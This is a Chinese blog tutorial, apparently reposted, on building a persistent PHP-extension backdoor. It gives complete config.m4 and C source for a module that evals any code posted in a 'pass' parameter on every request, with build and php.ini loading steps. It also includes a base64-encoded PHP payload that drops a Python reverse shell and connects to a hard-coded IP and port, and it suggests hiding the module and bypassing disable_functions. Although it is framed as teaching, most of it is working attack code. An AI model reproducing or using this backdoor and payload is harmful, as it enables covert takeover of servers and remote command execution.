看到Freebuf 小编发表的用这个隐藏于PHP模块中的rootkit,就能持久接管服务器文章,很感兴趣,苦无作者没留下PoC,自己研究一番,有了此文

0×00. 引言

PHP是一个非常流行的web server端的script语言.目前很多web应用程序都基于php语言实现。由于php是个开源软件并易于扩展,所以我们可以通过编写一个PHP模块(module 或者叫扩展 extension)来实现一个Backdoor。 本文就简单介下如何一步步编写一个简单的php 动态扩展后门。

0×01. php 扩后门的简单设计

出于教学目的,这个动态扩展后门的功能设计比较简单:

1). 通过过滤用户提交的特定变量来启动Backdoor.

2). 直接执行用户提交的php代码.

对于1)中过滤用户提交的变量有两种方法

方法1:

修改SAPI的input_filter或者是treat_data.你可以是hook后再执行php的原始代码,也可以直接替换原始函数 ,具体介绍,请参考《http://xfocus.net/articles/200705/920.html

方法2:

从php内建的数组里获取变量(即从php内核中获取变量),这也是本文所要用到的方法

0×02. 开始编写扩展后门代码

结合0×01中php后门的设计,本文中要实现的后门功能为:

只要php解释器加载了这个扩展,那么对于每一次http POST 请求,这个扩展都会拦截,检查一下是否有pass参数,如果有,则执行pass参数的值中的php代码

本文用最快的(不是最标准的,标准的扩展一般还会单独写.h的头文件)的方式来建立一个简单的php扩展,共计两个文件,一个是编译配置文件config.m4, 一个是后门扩展源码hacker.c

关于config.m4

config.m4文件用于指定正在开发的扩展在类unix系统下构建时支持的选项,指定此扩展需要哪些库以及哪些源文件;使用 GNU autoconf (http://www.gnu.org/software/autoconf/manual/)语法编写。 phpize 会根据config.m4的配置自动生成编译相关文件(如下图,就是我们常见的configure 之类的,然后就可以./configure && make &&make install)

1) config.m4 内容

  1.     PHP_ARG_ENABLE(hacker, 0,0)  
  2.     PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)

就两行,很简单,这里做个解释

PHP_ARG_ENABLE

含有有三个参数,

第1个参数是我们扩展的名字,这里为hacker

第2个参数是我们运行./configure 脚本时显要指定示的内容,这里没有配置,即为0

第3个参数是我们在调用./configure –help 的 时候要指定显示的帮助信息,这里也没有配置,为0

PHP_NEW_EXTENSION

  1. PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)

第1个参数是模块名字,这里为hacker

第2个参数表示的是编译模块需要的源文件名称 ,这里为hacker.c

如果我们的扩展使用了多个文件,便可以将这多个文件名罗列在函数的参数里,不同源文件之间以空格隔开, 比如:

  1. PHP_NEW_EXTENSION(sample, sample.c sample2.c sample3.c, $ext_shared)

第3个参数表示的是编译的形式,这里的$ext_shared参数用来声明这个扩展不是一个静态模块,而是在php运行时动态加载的。

2)后门扩展源码hacker.c

代码比较简单,主要有以下:

zend_module_entry 结构体定义,必须

ZEND_GET_MODULE  编译加载模块并返回zend_module_entry的指针,必须

模块运行时函数声明,标准的扩展都会在.h的都文件中声明,这里就在.c的源代码中一起声明了

模块运行时函数定义

具体代码:

  1.     #include "php.h"
  2.  
  3.     //模块运行时函数声明
  4.     PHP_RINIT_FUNCTION(hacker);
  5.     
  6.     //zend_module_entry 结构体定义
  7.     zend_module_entry hacker_module_entry = {
  8.     #if ZEND_MODULE_API_NO >= 20010901
  9.     STANDARD_MODULE_HEADER,
  10.     #endif
  11.         "hacker", //模块名,可以考虑用同形异义字, php -m 可以查询到
  12.         NULL,   //导出函数结构体hacker_functions,这里设置为NULL
  13.         NULL,   //PHP_MINIT(hacker) 模块初始化,这里没有用到,设置为NULL
  14.         NULL,   //PHP_MSHUTDOWN(hacker) 模块清理, 这里没有用到,设置为NULL
  15.         PHP_RINIT(hacker), //运行时初始化,这里用到了,下面会着重讲解
  16.         NULL,              //PHP_RSHUTDOWN(hacker) 运行时清理,没有用到,设置为NULL
  17.         NULL,             //PHP_MINFO(hacker)处理phpinfo中的模块信息,没有用到,设置为NULL
  18.         "1.0",           //模块版本
  19.         STANDARD_MODULE_PROPERTIES  
  20.     };
  21.  
  22.     #ifdef COMPILE_DL_HACKER
  23.     ZEND_GET_MODULE(hacker);
  24.     #endif
  25.     //模块运行时函数定义
  26.     //只要php解释器加载了这个模块,每个php请求时,都执行该函数
  27.     PHP_RINIT_FUNCTION(hacker)
  28.     {
  29.     
  30.         char* method = "_POST"; // 要过滤的变量,这里为$_POST    ,因为一般情况下POST内容不被服务器记录
  31.         char* secret_string = "pass"; // 特定参数名,有点类似于菜刀的一句话密码,根据参数名做到特定条件下触发后门
  32.         zval** arr; //指向指针的指针
  33.         char* code;
  34.         //在全局作用域(&EG(symbol_table))下收缩$_POST 变量,找到之后将指针值赋给arr
  35.         if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { 
  36.             HashTable* ht = Z_ARRVAL_P(*arr);  //使用宏Z_ARRVAL_P获取数组的值,因为$_POST是个数组
  37.             zval** val;
  38.             //在数组$_POST中查找参数名为pass的值,如果找到,则将值赋给val
  39.             if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // 搜索hash表中期望的参数
  40.                 code =  Z_STRVAL_PP(val); // 使用宏Z_STRVAL_PP找到的参数值
  41.                 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //执行代码,也即变量$_POST[pass]的值
  42.             }
  43.         }
  44.         return SUCCESS;
  45.     }

代码解释补充

  1.  #include "php.h"

php.h, 位于PHP 主目录。这个文件包含了绝大部分 PHP 宏及 API 定义。编写php扩展必备,需要安装php开发库,以centos7 php5.5 为例

  1. yum install php5-devel

zend_module_entry 是编写php 动态加载模块必须注册的一个结构体,hacker_module_entry是结构体名字,命名规范为:模块名_module_entry, 来解释一下这个结构体:

#if ZEND_MODULE_API_NO >= 20010901

STANDARD_MODULE_HEADER,

#endif

依据ZEND_MODULE_API_NO 是否大于等于 20010901,这个结构体需要不同的定义格式。20010901大约代表PHP4.2.0版本,所以我们现在的扩展几乎都要包含STANDARD_MODULE_HEADER这个元素了

在php生命周期中,ZendEngine首先要初始化module,每个module中定义的PHP_MINIT_FUNCTION函数作为初始化代码(ModuleInit)都会被执行一次,而PHP_RINIT_FUNCTION函数则是在每次页面被请求的时候(RuntimeInit)都会执行一次。 因此对php函数的hook,设置php环境变量,对user input的过滤,都可以根据需要在这两个函数中进行.本文扩展后门就是在RuntimeInit时候对变量进行hook。 然后在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中进行相应的清理.而作为Backdoor,PHP_MINFO_FUNCTION函数对我们则没什么必要,可以把这里设置为NULL。

有关Z_STRVAL_PP Z_STRVAL_P Z_STRVAL的解释,请参考:http://m.php.cn/write/910.html

0×03. 测试

1. 编译环境:

centos7 x64

php5.4

需事先安装好phpize

2. 编译后门

1) 先运行phpize,生成编译配置文件

2)./configure && make && make test

3) make install

默认安装在/usr/lib64/php/modules/, 当然你也可以用–prefix指定安装目录

3. 配置 php.ini,启用后门

重启httpd服务

使用php -m 查看是否模块加载成功

至此,php 扩展后门加载成功,下面就需要客户端发送触发代码,触发后门执行

4. 客户端开始监听,等待反弹

5. 客户端发送恶意代码触发后门反弹shell

在github上找到一个php反弹后门代码:

https://github.com/XiphosResearch/exploits/blob/master/LotusCMS/back_python.php

修改以下反弹IP和端口,然后在除去换行符,再进行base64编码,最后处理如下:

  1. eval(base64_decode('CiRjYmhvc3QgPSAnMTAuMS4xMDAuMyc7IAokY2Jwb3J0ID0gJzMxMzM0JzsgCmVjaG8gInsrfSBVc2luZyAiLiRjYmhvc3QuIjoiLiRjYnBvcnQuIiBhcyBjYWxsYmFjay4uLlxueyt9IERyb3BwaW5nIHNoZWxsLi4uXG4iOwokc2hlbGwgPSAiSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjR5Q2lNZ1kyOWthVzVuT2lCMWRHWXRPQW9qSUZObGJHWWdSR1Z6ZEhKMVkzUnBibWNzSUVSaFpXMXZibWx1WnlCU1pYWmxjbk5sSUZCVVdTNEtJeUJ5YlNkeklITmxiR1lnYjI0Z2NYVnBkQ0E2TXdvaklGUlBSRTg2Q2lNZ01Ub2dRV1JrSUdOeWVYQjBid29qSURJNklFRmtaQ0J3Y205amJtRnRaU0J6Y0c5dlpncHBiWEJ2Y25RZ2IzTUthVzF3YjNKMElITjVjd3BwYlhCdmNuUWdjSFI1Q21sdGNHOXlkQ0J6YjJOclpYUUthVzF3YjNKMElHTnZiVzFoYm1SekNncHphR1ZzYkcxelp5QTlJQ0pjZURGaVd6QnRYSGd4WWxzeE96TTJiVWR2ZENCeWIyOTBJSGxsZEQ5Y2VERmlXekJ0WEhKY2JpSWdJeUJ1WldWa2VpQmhjMk5wYVFvS1pHVm1JSEYxYVhSMFpYSW9iWE5uS1RvS0lDQWdJSEJ5YVc1MElHMXpad29nSUNBZ2IzTXVkVzVzYVc1cktHOXpMbkJoZEdndVlXSnpjR0YwYUNoZlgyWnBiR1ZmWHlrcElDTWdkVzVqYjIxdFpXNTBJR1p2Y2lCbmIyZHZjMlZzWm1SbGMzUnlkV04wQ2lBZ0lDQnplWE11WlhocGRDZ3dLUW9LWkdWbUlISmxkbVZ5YzJVb1kySm9iM04wTENCalluQnZjblFwT2dvZ0lDQWdkSEo1T2dvZ0lDQWdJQ0FnSUhWdVlXMWxJRDBnWTI5dGJXRnVaSE11WjJWMGIzVjBjSFYwS0NKMWJtRnRaU0F0WVNJcENpQWdJQ0FnSUNBZ2FXUWdQU0JqYjIxdFlXNWtjeTVuWlhSdmRYUndkWFFvSW1sa0lpa0tJQ0FnSUdWNFkyVndkQ0JGZUdObGNIUnBiMjQ2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWjNKaFlpQjFibUZ0WlM5cFpDQm1ZV2xzSnlrS0lDQWdJSFJ5ZVRvS0lDQWdJQ0FnSUNCemIyTnJJRDBnYzI5amEyVjBMbk52WTJ0bGRDaHpiMk5yWlhRdVFVWmZTVTVGVkN3Z2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb2dJQ0FnSUNBZ0lITnZZMnN1WTI5dWJtVmpkQ2dvWTJKb2IzTjBMQ0JwYm5Rb1kySndiM0owS1NrcENpQWdJQ0JsZUdObGNIUTZDaUFnSUNBZ0lDQWdjWFZwZEhSbGNpZ25ZV0p2Y25RNklHTnZibTVsWTNScGIyNGdabUZwYkNjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2IzTXVaSFZ3TWloemIyTnJMbVpwYkdWdWJ5Z3BMQ0F3S1FvZ0lDQWdJQ0FnSUc5ekxtUjFjRElvYzI5amF5NW1hV3hsYm04b0tTd2dNU2tLSUNBZ0lDQWdJQ0J2Y3k1a2RYQXlLSE52WTJzdVptbHNaVzV2S0Nrc0lESXBDaUFnSUNCbGVHTmxjSFE2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWVdKdmNuUTZJR1IxY0RJZ1ptRnBiQ2NwQ2lBZ0lDQjBjbms2Q2lBZ0lDQWdJQ0FnYjNNdWNIVjBaVzUyS0NKSVNWTlVSa2xNUlNJc0lDSXZaR1YyTDI1MWJHd2lLUW9nSUNBZ0lDQWdJRzl6TG5CMWRHVnVkaWdpVUVGVVNDSXNJQ2N2ZFhOeUwyeHZZMkZzTDNOaWFXNDZMM1Z6Y2k5elltbHVPaTl6WW1sdU9pOWlhVzQ2TDNWemNpOXNiMk5oYkM5aWFXNDZMM1Z6Y2k5aWFXNG5LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hWMFpXNTJJR1poYVd3bktRb2dJQ0FnZEhKNU9nb2dJQ0FnSUNBZ0lITnZZMnN1YzJWdVpDaHphR1ZzYkcxelp5a0tJQ0FnSUNBZ0lDQnpiMk5yTG5ObGJtUW9KMXg0TVdKYk1Uc3pNbTBuSzNWdVlXMWxLeUpjY2x4dUlpdHBaQ3NpWEhneFlsc3diVnh5WEc0aUtRb2dJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHZiam9LSUNBZ0lDQWdJQ0J4ZFdsMGRHVnlLQ2R6Wlc1a0lHbGtMM1Z1WVcxbElHWjFZMnQxY0NjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2NIUjVMbk53WVhkdUtDY3ZZbWx1TDJKaGMyZ25LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hSNUlITndZWGR1SUdaaGFXd25LUW9nSUNBZ2NYVnBkSFJsY2lnbmNYVnBkSFJwYm1jc0lHTnNaV0Z1ZFhBbktRb0taR1ZtSUcxaGFXNG9ZWEpuY3lrNkNpQWdJQ0JwWmlCdmN5NW1iM0pyS0NrZ1BpQXdPaUFLSUNBZ0lDQWdJQ0J2Y3k1ZlpYaHBkQ2d3S1FvZ0lDQWdjbVYyWlhKelpTaHplWE11WVhKbmRsc3hYU3dnYzNsekxtRnlaM1piTWwwcENncHBaaUJmWDI1aGJXVmZYeUE5UFNBaVgxOXRZV2x1WDE4aU9nb2dJQ0FnYldGcGJpaHplWE11WVhKbmRpa0siOwokeCA9IGZvcGVuKCIvdG1wL3giLCAidysiKTsKZndyaXRlKCR4LCBiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwpmY2xvc2UoJHgpOwplY2hvICJ7K30gU2hlbGwgZHJvcHBlZC4uLiBUcmlnZ2VyaW5nLi4uXG4iOwpzeXN0ZW0oInB5dGhvbiAvdG1wL3ggIi4kY2Job3N0LiIgIi4kY2Jwb3J0KTsKZGllKCd7K30gZ290IHNoZWxsPycpOyAvLyBwYXlsb2FkIHNob3VsZCBoYXZlIHJtJ2QgaXRzZWxmCgo='));

使用burpsuite 发送POST请求,参数为pass,值为上述eval(base64_decode 那一串值

成功反弹shell

0×04. 总结

本文所涉及的php 扩展后门是相对比较简单的,只是为了演示教学之目的。

如果系统禁用了eval等函数,还需要通过在后门中加入模块初始化函数(PHP_MINIT_FUNCTION),动态修改php.ini以达到绕过disable_function的目的,另外,为了更好地隐藏自身,还需要在伪装性上下点功夫,比如利用同形异义字欺骗用户的眼睛,比如使得模块名不在php -m中显示等,当然这是后话,希望后续能有这样的文章出现。

参考:

http://www.gnu.org/software/autoconf/manual

http://www.cunmou.com/phpbook/2.5.md

http://www.cnblogs.com/beatzeus/p/6085366.html

http://www.cunmou.com/phpbook/5.1.md

http://www.cunmou.com/phpbook/17.3.md

https://github.com/ForrestX386/tcp_killer

http://php.webtutor.pl/en/2001/07/07/zend_get_module/

http://www.cnblogs.com/bqrm/archive/2012/10/12/2721440.html

http://m.php.cn/write/910.html

http://xfocus.net/articles/200705/920.html

手把手教你编写一个简单的PHP模块形态的后门的更多相关文章

  1. 手把手教你编写一个具有基本功能的shell(已开源)

    刚接触Linux时,对shell总有种神秘感:在对shell的工作原理有所了解之后,便尝试着动手写一个shell.下面是一个从最简单的情况开始,一步步完成一个模拟的shell(我命名之为wshell) ...

  2. Hexo+NexT(六):手把手教你编写一个Hexo过滤器插件

    Hexo+NexT介绍到这里,我认为已经可以很好地完成任务了.它所提供的一些基础功能及配置,都已经进行了讲解.你已经可以随心所欲地配置一个自己的博客环境,然后享受码字的乐趣. 把博客托管到Github ...

  3. netty系列之:小白福利!手把手教你做一个简单的代理服务器

    目录 简介 代理和反向代理 netty实现代理的原理 实战 总结 简介 爱因斯坦说过:所有的伟大,都产生于简单的细节中.netty为我们提供了如此强大的eventloop.channel通过对这些简单 ...

  4. 只有20行Javascript代码!手把手教你写一个页面模板引擎

    http://www.toobug.net/article/how_to_design_front_end_template_engine.html http://barretlee.com/webs ...

  5. iOS回顾笔记(05) -- 手把手教你封装一个广告轮播图框架

    html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,bi ...

  6. PWA入门:手把手教你制作一个PWA应用

    摘要: PWA图文教程 原文:PWA入门:手把手教你制作一个PWA应用 作者:MudOnTire Fundebug经授权转载,版权归原作者所有. 简介 Web前端的同学是否想过学习app开发,以弥补自 ...

  7. R数据分析:跟随top期刊手把手教你做一个临床预测模型

    临床预测模型也是大家比较感兴趣的,今天就带着大家看一篇临床预测模型的文章,并且用一个例子给大家过一遍做法. 这篇文章来自护理领域顶级期刊的文章,文章名在下面 Ballesta-Castillejos ...

  8. 编写一个简单的C++程序

    编写一个简单的C++程序 每个C++程序都包含一个或多个函数(function),其中一个必须命名为main.操作系统通过调用main来运行C++程序.下面是一个非常简单的main函数,它什么也不干, ...

  9. 使用Java编写一个简单的Web的监控系统cpu利用率,cpu温度,总内存大小

    原文:http://www.jb51.net/article/75002.htm 这篇文章主要介绍了使用Java编写一个简单的Web的监控系统的例子,并且将重要信息转为XML通过网页前端显示,非常之实 ...

随机推荐

  1. 网站推广--Html关键词代码解说

    html的meta标签 1. meta标签是内嵌在你网页中的特殊html标签,包含着你有关于你网页的一些隐藏信息.Meat标签的作用是向搜索引擎解释你的网页是有关哪方面信息的.对于高级的搜索引擎来说, ...

  2. 中国版 Office 365 (X-Tenant / Tango) 功能验证报告 - 2 基本步骤

    说明: 1. 前期准备 - 在Azure上模拟出生产环境: 包括父域域控.子域域控.父域的Exchange Server.子域的Exchange Server.对Exchange Server, 需要 ...

  3. iTOP-4412开发板-LinuxC-继电器模块的测试例程

    平台:iTOP-4412开发板 实现:继电器模块测试例程 继电器的 C 的测试程序,C 测试程序可以在 Android系统,Qt 系统以及最小 linux 系统上运行,文档以 Android 系统上测 ...

  4. anchor box聚类

    fast rcnn和rfcn中使用的都是默认的anchor box设置,都是9种,比例为0.5 .1. 2,大小为128.256.512.但我的数据集的gt框更小,需要找到适合我的数据集的anchor ...

  5. ios远程推送和python版push server相关笔记

    今天研究了下ios的远程推送,网上的相关教程很多,做了一遍下来记录一下遇到的问题和注意事项(转载请注明) 1.证书及乱七八糟的配置 公钥:app id管理那儿的“Development Push SS ...

  6. 获取汉字首字母,拼音,可实现拼音字母搜索----npm js-pinyin

      npm install js-pinyin  main.js 引入 import pinyin from 'js-pinyin'   使用组件内 let pinyin = require('js- ...

  7. flutter 上传图片 image_picker 的使用

    Github地址: https://github.com/flutter/plugins/tree/master/packages/image_picker packages地址: https://p ...

  8. pycharm 破解

    亲测有效! http://blog.lanyus.com/archives/174.html 备注: 注册码破解链接:http://idea.lanyus.com/ 将下载的jar包放入PyCharm ...

  9. iOS Development Sites

    iOS Development Sites   学习iOS开发有一段时间了,虽然还处于迷茫期,但相比以前的小白痴状态,现在还是蛮有改观的.期间接触了一些很好的网站和博客,现在摘录下来,就当建个索引,没 ...

  10. jquery toggle()设置

    很多朋友对jquery toggle()比较熟练,甚至经常用到,而且对toggle的三个参数也比较了解$(selector).toggle(speed,callback,switch).但是当你设置$ ...